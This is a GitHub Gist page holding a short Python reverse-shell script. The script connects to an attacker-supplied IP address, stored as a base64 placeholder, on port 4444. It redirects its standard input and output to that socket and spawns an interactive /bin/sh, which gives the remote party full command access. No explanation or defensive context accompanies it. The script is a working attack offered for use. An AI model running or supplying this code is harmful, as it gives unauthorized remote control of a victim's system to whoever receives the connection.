Created
September 21, 2018 09:17
-
-
Save tunelko/9190d7a67daf6c7a56cd3e3e052eda01 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import base64 | |
import socket,subprocess,os | |
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) | |
s.connect((base64.b64decode("base64_str_IP"),4444)) | |
os.dup2(s.fileno(),0); | |
os.dup2(s.fileno(),1) | |
os.dup2(s.fileno(),2) | |
p=subprocess.call(["/bin/sh","-i"]) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment